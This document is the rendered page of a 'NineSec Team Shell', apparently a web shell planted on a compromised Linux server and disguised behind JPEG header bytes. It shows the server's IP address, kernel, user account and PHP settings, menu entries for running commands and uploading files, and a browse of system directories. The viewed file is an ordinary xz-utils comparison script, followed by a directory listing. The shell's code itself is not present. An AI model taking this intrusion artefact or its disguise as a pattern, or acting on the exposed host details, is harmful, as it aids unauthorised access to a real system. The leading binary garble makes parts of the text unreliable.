�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/rc1.d/../systemd/../alternatives/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/rc1.d/../systemd/../alternatives/lzcmp
#!/bin/sh

# Copyright (C) 1998, 2002, 2006, 2007 Free Software Foundation
# Copyright (C) 1993 Jean-loup Gailly

# Modified for XZ Utils by Andrew Dudman and Lasse Collin.

# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.

# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.

#SET_PATH - This line is a placeholder to ease patching this script.

# Instead of unsetting XZ_OPT, just make sure that xz will use file format
# autodetection. This way memory usage limit and thread limit can be
# specified via XZ_OPT. With gzip, bzip2, and lzop it's OK to just unset the
# environment variables.
xz='xz --format=auto'
unset GZIP BZIP BZIP2 LZOP

case ${0##*/} in
  *cmp*) prog=xzcmp; cmp=${CMP:-cmp};;
  *)     prog=xzdiff; cmp=${DIFF:-diff};;
esac

version="$prog (XZ Utils) 5.2.4"

usage="Usage: ${0##*/} [OPTION]... FILE1 [FILE2]
Compare FILE1 to FILE2, using their uncompressed contents if they are
compressed.  If FILE2 is omitted, then the files compared are FILE1 and
FILE1 from which the compression format suffix has been stripped.

Do comparisons like '$cmp' does.  OPTIONs are the same as for '$cmp'.

Report bugs to <lasse.collin@tukaani.org>."

# sed script to escape all ' for the shell, and then (to handle trailing
# newlines correctly) turn trailing X on last line into '.
escape='
  s/'\''/'\''\\'\'''\''/g
  $s/X$/'\''/
'

while :; do
  case $1 in
    --h*) printf '%s\n' "$usage" || exit 2; exit;;
    --v*) echo "$version" || exit 2; exit;;
    --) shift; break;;
    -*\'*) cmp="$cmp '"`printf '%sX\n' "$1" | sed "$escape"`;;
    -?*) cmp="$cmp '$1'";;
    *) break;;
  esac
  shift
done
cmp="$cmp --"

for file; do
  test "X$file" = X- || <"$file" || exit 2
done

xz1=$xz
xz2=$xz
xz_status=0
exec 3>&1

if test $# -eq 1; then
  case $1 in
    *[-.]xz | *[-.]lzma | *.t[lx]z)
      ;;
    *[-.]bz2 | *.tbz | *.tbz2)
      xz1=bzip2;;
    *[-.][zZ] | *_z | *[-.]gz | *.t[ag]z)
      xz1=gzip;;
    *[-.]lzo | *.tzo)
      xz1=lzop;;
    *)
      echo >&2 "$0: $1: Unknown compressed file name suffix"
      exit 2;;
  esac
  case $1 in
    *[-.][zZ] | *_z | *[-.][gx]z | *[-.]bz2 | *[-.]lzma | *[-.]lzo)
      FILE=`expr "X$1" : 'X\(.*\)[-.][abglmoxzZ2]*$'`;;
    *.t[abglx]z)
      FILE=`expr "X$1" : 'X\(.*[-.]t\)[abglx]z$'`ar;;
    *.tbz2)
      FILE=`expr "X$1" : 'X\(.*[-.]t\)bz2$'`ar;;
    *.tzo)
      FILE=`expr "X$1" : 'X\(.*[-.]t\)zo$'`ar;;
  esac
  xz_status=$(
    exec 4>&1
    ($xz1 -cd -- "$1" 4>&-; echo $? >&4) 3>&- | eval "$cmp" - '"$FILE"' >&3
  )
elif test $# -eq 2; then
  case $1 in
    *[-.]bz2 | *.tbz | *.tbz2) xz1=bzip2;;
    *[-.][zZ] | *_z | *[-.]gz | *.t[ag]z) xz1=gzip;;
    *[-.]lzo | *.tzo) xz1=lzop;;
  esac
  case $2 in
    *[-.]bz2 | *.tbz | *.tbz2) xz2=bzip2;;
    *[-.][zZ] | *_z | *[-.]gz | *.t[ag]z) xz2=gzip;;
    *[-.]lzo | *.tzo) xz2=lzop;;
  esac
  case $1 in
    *[-.][zZ] | *_z | *[-.][gx]z | *[-.]bz2 | *[-.]lzma | *.t[abglx]z | *.tbz2 | *[-.]lzo | *.tzo | -)
      case "$2" in
        *[-.][zZ] | *_z | *[-.][gx]z | *[-.]bz2 | *[-.]lzma | *.t[abglx]z | *.tbz2 | *[-.]lzo | *.tzo | -)
          if test "$1$2" = --; then
            xz_status=$(
              exec 4>&1
              ($xz1 -cdfq - 4>&-; echo $? >&4) 3>&- |
                eval "$cmp" - - >&3
            )
          elif # Reject Solaris 8's buggy /bin/bash 2.03.
              echo X | (echo X | eval "$cmp" /dev/fd/5 - >/dev/null 2>&1) 5<&0; then
            xz_status=$(
              exec 4>&1
              ($xz1 -cdfq -- "$1" 4>&-; echo $? >&4) 3>&- |
                ( ($xz2 -cdfq -- "$2" 4>&-; echo $? >&4) 3>&- 5<&- </dev/null |
                eval "$cmp" /dev/fd/5 - >&3) 5<&0
            )
            cmp_status=$?
            case $xz_status in
              *[1-9]*) xz_status=1;;
              *) xz_status=0;;
            esac
            (exit $cmp_status)
          else
            F=`expr "/$2" : '.*/\(.*\)[-.][ablmotxz2]*$'` || F=$prog
            tmp=
            trap '
              test -n "$tmp" && rm -rf "$tmp"
              (exit 2); exit 2
            ' HUP INT PIPE TERM 0
            if type mktemp >/dev/null 2>&1; then
              # Note that FreeBSD's mktemp isn't fully compatible with
              # the implementations from mktemp.org and GNU coreutils.
              # It is important that the -t argument is the last argument
              # and that no "--" is used between -t and the template argument.
              # This way this command works on all implementations.
              tmp=`mktemp -d -t "$prog.XXXXXXXXXX"` || exit 2
            else
              # Fallback code if mktemp is missing. This isn't as
              # robust as using mktemp since this doesn't try with
              # different file names in case of a file name conflict.
              #
              # There's no need to save the original umask since
              # we don't create any non-temp files. Note that using
              # mkdir -m 0077 isn't secure since some mkdir implementations
              # create the dir with the default umask and chmod the
              # the dir afterwards.
              umask 0077
              mkdir -- "${TMPDIR-/tmp}/$prog.$$" || exit 2
              tmp="${TMPDIR-/tmp}/$prog.$$"
            fi
            $xz2 -cdfq -- "$2" > "$tmp/$F" || exit 2
            xz_status=$(
              exec 4>&1
              ($xz1 -cdfq -- "$1" 4>&-; echo $? >&4) 3>&- |
                eval "$cmp" - '"$tmp/$F"' >&3
            )
            cmp_status=$?
            rm -rf "$tmp" || xz_status=$?
            trap - HUP INT PIPE TERM 0
            (exit $cmp_status)
          fi;;
      *)
        xz_status=$(
          exec 4>&1
          ($xz1 -cdfq -- "$1" 4>&-; echo $? >&4) 3>&- |
            eval "$cmp" - '"$2"' >&3
        );;
    esac;;
  *)
    case "$2" in
      *[-.][zZ] | *_z | *[-.][gx]z | *[-.]bz2 | *[-.]lzma | *.t[abglx]z | *.tbz2 | *[-.]lzo | *.tzo | -)
        xz_status=$(
          exec 4>&1
          ($xz2 -cdfq -- "$2" 4>&-; echo $? >&4) 3>&- |
            eval "$cmp" '"$1"' - >&3
         );;
      *)
        eval "$cmp" '"$1"' '"$2"';;
    esac;;
  esac
else
  echo >&2 "$0: Invalid number of operands; try \`${0##*/} --help' for help"
  exit 2
fi

cmp_status=$?
test "$xz_status" -eq 0 || exit 2
exit $cmp_status

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
December 18 2025 4:18:40
root
0755
mecab-dictionary
--
March 29 2022 10:42:17
root
0755
Mail
110.242 KB
August 08 2018 11:12:01
root
0755
Mail.1.gz
10.729 KB
August 08 2018 11:12:01
root
0644
README
0.098 KB
March 23 2020 7:12:54
root
0644
arptables
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-restore
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-save
215.32 KB
May 09 2023 8:39:57
root
0755
awk
158.742 KB
February 16 2020 8:41:09
root
0755
awk.1.gz
15.348 KB
February 16 2020 8:41:09
root
0644
builtins.7.gz
0.496 KB
April 18 2022 11:14:46
root
0644
c++
1.1 MB
October 24 2022 11:28:06
root
0755
c++.1.gz
327.706 KB
October 24 2022 11:28:06
root
0644
c89
0.418 KB
May 07 2006 11:28:01
root
0755
c89.1.gz
1.333 KB
February 27 2001 2:28:32
root
0644
c99
0.443 KB
April 11 2011 9:54:37
root
0755
c99.1.gz
1.387 KB
March 20 2020 2:52:47
root
0644
cc
1.1 MB
October 24 2022 11:28:06
root
0755
cc.1.gz
327.706 KB
October 24 2022 11:28:06
root
0644
cpp
1.1 MB
October 24 2022 11:28:06
root
0755
ebtables
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-restore
215.32 KB
May 09 2023 8:39:57
root
0755
ebtables-save
215.32 KB
May 09 2023 8:39:57
root
0755
editor
312.633 KB
April 10 2020 4:12:30
root
0755
editor.1.gz
6.44 KB
April 10 2020 4:12:30
root
0644
ex
1.29 MB
December 07 2023 4:42:49
root
0755
ex.1.gz
5.287 KB
December 07 2023 4:42:49
root
0644
ex.da.1.gz
5.515 KB
December 07 2023 4:42:49
root
0644
ex.de.1.gz
6.72 KB
December 07 2023 4:42:49
root
0644
ex.fr.1.gz
6.374 KB
December 07 2023 4:42:49
root
0644
ex.it.1.gz
5.958 KB
December 07 2023 4:42:49
root
0644
ex.ja.1.gz
5.728 KB
December 07 2023 4:42:49
root
0644
ex.pl.1.gz
6.147 KB
December 07 2023 4:42:49
root
0644
ex.ru.1.gz
6.962 KB
December 07 2023 4:42:49
root
0644
faked.1.gz
1.162 KB
September 07 2019 12:48:18
root
0644
faked.es.1.gz
1.415 KB
September 07 2019 12:48:18
root
0644
faked.fr.1.gz
1.486 KB
September 07 2019 12:48:18
root
0644
faked.sv.1.gz
1.404 KB
September 07 2019 12:48:18
root
0644
fakeroot
3.761 KB
September 07 2019 12:48:18
root
0755
fakeroot.1.gz
3.912 KB
September 07 2019 12:48:18
root
0644
fakeroot.es.1.gz
4.382 KB
September 07 2019 12:48:18
root
0644
fakeroot.fr.1.gz
4.591 KB
September 07 2019 12:48:18
root
0644
fakeroot.sv.1.gz
4.189 KB
September 07 2019 12:48:18
root
0644
from
14.148 KB
March 30 2020 11:26:14
root
0755
from.1.gz
1.431 KB
March 30 2020 11:26:14
root
0644
ftp
106.695 KB
February 24 2019 2:39:21
root
0755
ftp.1.gz
9.024 KB
February 24 2019 2:39:21
root
0644
futurize
0.375 KB
January 25 2023 9:33:14
root
0755
gnome-www-browser
2.604 KB
February 06 2024 2:59:08
root
0755
infobrowser
309.742 KB
October 11 2019 12:32:01
root
0755
infobrowser.1.gz
1.383 KB
October 11 2019 12:32:01
root
0644
ip6tables
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-restore
96.969 KB
May 09 2023 8:39:57
root
0755
ip6tables-save
96.969 KB
May 09 2023 8:39:57
root
0755
iptables
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-restore
96.969 KB
May 09 2023 8:39:57
root
0755
iptables-save
96.969 KB
May 09 2023 8:39:57
root
0755
libblas.so.3-x86_64-linux-gnu
429.844 KB
March 21 2020 1:27:50
root
0644
liblapack.so.3-x86_64-linux-gnu
6.63 MB
March 21 2020 1:27:50
root
0644
lzcat
78.5 KB
April 08 2022 2:56:10
root
0755
lzcat.1.gz
19.87 KB
April 08 2022 2:56:10
root
0644
lzcmp
6.477 KB
April 08 2022 2:56:10
root
0755
lzcmp.1.gz
0.648 KB
April 08 2022 2:56:10
root
0644
lzdiff
6.477 KB
April 08 2022 2:56:10
root
0755
lzdiff.1.gz
0.648 KB
April 08 2022 2:56:10
root
0644
lzegrep
5.764 KB
April 08 2022 2:56:10
root
0755
lzegrep.1.gz
0.684 KB
April 08 2022 2:56:10
root
0644
lzfgrep
5.764 KB
April 08 2022 2:56:10
root
0755
lzfgrep.1.gz
0.684 KB
April 08 2022 2:56:10
root
0644
lzgrep
5.764 KB
April 08 2022 2:56:10
root
0755
lzgrep.1.gz
0.684 KB
April 08 2022 2:56:10
root
0644
lzless
1.76 KB
April 08 2022 2:56:10
root
0755
lzless.1.gz
0.726 KB
April 08 2022 2:56:10
root
0644
lzma
78.5 KB
April 08 2022 2:56:10
root
0755
lzma.1.gz
19.87 KB
April 08 2022 2:56:10
root
0644
lzmore
2.11 KB
April 08 2022 2:56:10
root
0755
lzmore.1.gz
0.621 KB
April 08 2022 2:56:10
root
0644
mail
110.242 KB
August 08 2018 11:12:01
root
0755
mail.1.gz
10.729 KB
August 08 2018 11:12:01
root
0644
mailx
110.242 KB
August 08 2018 11:12:01
root
0755
mailx.1.gz
10.729 KB
August 08 2018 11:12:01
root
0644
mt
86.781 KB
August 25 2021 12:52:28
root
0755
mt.1.gz
1.983 KB
August 25 2021 12:52:28
root
0644
my.cnf
0.666 KB
August 19 2021 3:32:33
root
0644
nawk
158.742 KB
February 16 2020 8:41:09
root
0755
nawk.1.gz
15.348 KB
February 16 2020 8:41:09
root
0644
nc
42.641 KB
March 09 2020 7:50:15
root
0755
nc.1.gz
6.13 KB
March 09 2020 7:50:15
root
0644
netcat
42.641 KB
March 09 2020 7:50:15
root
0755
netcat.1.gz
6.13 KB
March 09 2020 7:50:15
root
0644
netrc.5.gz
2.035 KB
February 24 2019 2:39:21
root
0644
newt-palette
0.156 KB
December 18 2019 5:12:28
root
0644
org.fedoraproject.FirewallD1.policy
3.926 KB
April 04 2020 7:50:39
root
0644
pager
175.844 KB
July 02 2020 1:25:13
root
0755
pager.1.gz
20.751 KB
July 02 2020 1:25:13
root
0644
pasteurize
0.379 KB
January 25 2023 9:33:14
root
0755
pbr
0.148 KB
April 09 2020 9:32:59
root
0755
pftp
106.695 KB
February 24 2019 2:39:21
root
0755
pftp.1.gz
9.024 KB
February 24 2019 2:39:21
root
0644
phar
14.882 KB
January 20 2024 3:16:18
root
0755
phar.1.gz
2.785 KB
January 20 2024 3:16:18
root
0644
phar.phar
14.882 KB
January 20 2024 3:16:18
root
0755
phar.phar.1.gz
0.035 KB
January 20 2024 3:16:18
root
0644
php
5.51 MB
January 20 2024 3:16:18
root
0755
php-cgi
5.39 MB
January 20 2024 3:16:18
root
0755
php-cgi-bin
5.39 MB
January 20 2024 3:16:18
root
0755
php-cgi.1.gz
0.034 KB
January 20 2024 3:16:18
root
0644
php.1.gz
3.739 KB
January 20 2024 3:16:18
root
0644
pico
312.633 KB
April 10 2020 4:12:30
root
0755
pico.1.gz
6.44 KB
April 10 2020 4:12:30
root
0644
pinentry
66.641 KB
March 22 2020 4:54:08
root
0755
pinentry.1.gz
1.381 KB
March 22 2020 4:54:08
root
0644
rcp
114.297 KB
January 02 2024 6:13:02
root
0755
rcp.1.gz
2.559 KB
January 02 2024 6:13:02
root
0644
rlogin
774.945 KB
January 02 2024 6:13:02
root
0755
rlogin.1.gz
14.61 KB
January 02 2024 6:13:02
root
0644
rmt
58.547 KB
December 05 2023 6:16:50
root
0755
rmt.8.gz
2.336 KB
December 05 2023 6:16:50
root
0644
rsh
774.945 KB
January 02 2024 6:13:02
root
0755
rsh.1.gz
14.61 KB
January 02 2024 6:13:02
root
0644
rview
1.29 MB
December 07 2023 4:42:49
root
0755
suexec
26.227 KB
October 26 2023 3:54:09
root
4754
suexec.8.gz
1.381 KB
October 26 2023 3:54:09
root
0644
telnet
112.672 KB
March 23 2020 7:20:39
root
0755
telnet.1.gz
8.803 KB
March 23 2020 7:20:39
root
0644
text.plymouth
0.2 KB
February 12 2024 9:12:57
root
0644
traceroute6
26.148 KB
September 13 2022 9:06:15
root
0755
traceroute6.8.gz
0.884 KB
September 13 2022 9:06:15
root
0644
unlzma
78.5 KB
April 08 2022 2:56:10
root
0755
unlzma.1.gz
19.87 KB
April 08 2022 2:56:10
root
0644
unrar
376.875 KB
March 22 2020 5:01:42
root
0755
unrar.1.gz
0.859 KB
March 22 2020 5:01:42
root
0644
vi
1.29 MB
December 07 2023 4:42:49
root
0755
vi.1.gz
5.287 KB
December 07 2023 4:42:49
root
0644
vi.da.1.gz
5.515 KB
December 07 2023 4:42:49
root
0644
vi.de.1.gz
6.72 KB
December 07 2023 4:42:49
root
0644
vi.fr.1.gz
6.374 KB
December 07 2023 4:42:49
root
0644
vi.it.1.gz
5.958 KB
December 07 2023 4:42:49
root
0644
vi.ja.1.gz
5.728 KB
December 07 2023 4:42:49
root
0644
vi.pl.1.gz
6.147 KB
December 07 2023 4:42:49
root
0644
vi.ru.1.gz
6.962 KB
December 07 2023 4:42:49
root
0644
view
1.29 MB
December 07 2023 4:42:49
root
0755
view.1.gz
5.287 KB
December 07 2023 4:42:49
root
0644
view.da.1.gz
5.515 KB
December 07 2023 4:42:49
root
0644
view.de.1.gz
6.72 KB
December 07 2023 4:42:49
root
0644
view.fr.1.gz
6.374 KB
December 07 2023 4:42:49
root
0644
view.it.1.gz
5.958 KB
December 07 2023 4:42:49
root
0644
view.ja.1.gz
5.728 KB
December 07 2023 4:42:49
root
0644
view.pl.1.gz
6.147 KB
December 07 2023 4:42:49
root
0644
view.ru.1.gz
6.962 KB
December 07 2023 4:42:49
root
0644
vtrgb
0.154 KB
March 27 2020 11:10:06
root
0644
w
22.227 KB
October 31 2023 12:35:56
root
0755
w.1.gz
1.25 KB
October 31 2023 12:35:56
root
0644
write
14.148 KB
March 30 2020 11:26:14
root
2755
write.1.gz
1.803 KB
March 30 2020 11:26:14
root
0644
www-browser
1.85 MB
February 28 2020 3:28:01
root
0755
www-browser.1.gz
14.206 KB
February 28 2020 3:28:01
root
0644
x-cursor-theme
0.029 KB
May 20 2020 3:58:36
root
0644
x-www-browser
2.604 KB
February 06 2024 2:59:08
root
0755

NineSec Team - 2022